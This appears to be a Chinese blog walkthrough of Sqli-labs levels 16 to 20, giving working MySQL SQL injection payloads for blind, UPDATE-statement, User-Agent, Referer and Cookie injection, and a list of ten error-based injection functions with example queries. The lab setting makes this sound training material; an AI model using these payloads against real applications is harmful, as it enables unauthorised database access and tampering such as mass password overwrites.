Sqli-labs16-20 十种mysql报错注入语句

十六题 基于时间的布尔盲注 双引号

admin")#

登陆成功

uname=") or length((select database()))=8 #&passwd=1

这里写图片描述
修改 payload直接之前的脚本跑

第十七题 更新查询报错

这个页面是密码重置页面

这里写图片描述

重置密码是更新操作

update users set password=xxx where username=xxx

看下 源码

看到源码里面对 用户名进行了过滤

那么我们就对 密码进行操作
这里写图片描述
先查询 用户名,而且进行了过滤。查询到了对密码进行更新

只能对这个更新语句进行操作了。
这里写图片描述
闭合注释后面的话就会将所有用户的密码都更新了。

这里写图片描述

payload

uname=admin&passwd=a' or updatexml(1,concat(0x7e,(version())),0) #

这里写图片描述

还可以使用双注入等其他报错方法获取

uname=admin&passwd=123' AND (select 1 from (select count(*),(concat_ws(":",database(),floor(rand(0)*2)))name from information_schema.tables group by name)b) #

这里写图片描述

在 github看到了 注入天书这个 sqli的帮助文档

是说 密码加了单引号报错
报错的说 admin “” 附近错误

那就说对密码的处理是加的双引号

使用报错类型的盲注

这里写图片描述
或者 UpdateXml

这里写图片描述

参考:
https://www.waitalone.cn/mysql-error-based-injection.html

对mysql报错注入的一些整理

最直接的方法就是时间延迟注入了~

默认的php对所有的GET POST和COOKIE数据自动运行 adslashes()

在预定义字符之前加反斜杠的字符串

预定义字符:单引号、双引号、反斜杠、NULL

stripslashes() 这个函数是删除由 addslashes()增加的反斜杠

mysql_real_escape_string
又一波转义: \x00 \n \r ’ ” \x1a

第十八题 user-agent注入

这里写图片描述

登陆成功会输出 浏览器信息

这里写图片描述
看到 Your IP ADDRESS is xxx

那么差不多就是 http头注入了

代码中看到对 提交的用户名和密码都进行了过滤
这里写图片描述

尝试了 x-forwarded-for 不行,源码确实不是使用x-forwarded-for获取的IP

修改 user-agent
这里写图片描述

应该是将这个插入了数据库

insert 语句 插入到 values中闭合

没有什么信息回显,尝试报错注入

十种Mysql报错注入

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

insert  into  xxx value ('x','Recar' and 语句 and '1'='1 ','xxx')

这里写图片描述

要让好这个语句可以执行,闭合前面的单引号,后面还有单引号,但是不能直接注释。
可以在中间 and 一下语句。 使用 ‘1’=’1 来闭合后面的 单引号

这里写图片描述

报错,主要找到注入点。测试下。

18题的注入点就是

user-agent

https://www.cnblogs.com/wocalieshenmegui/p/5917967.html

1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));

第十九题 refer注入

与 18题类似,将 refer回显了出来。
注入点应该就在这了。
这里写图片描述

payload

Referer: ' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

这里写图片描述

第二十题 Cookie注入

这里写图片描述

这画面
cookie注入
payload

Cookie: uname=admin' and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1

这里写图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值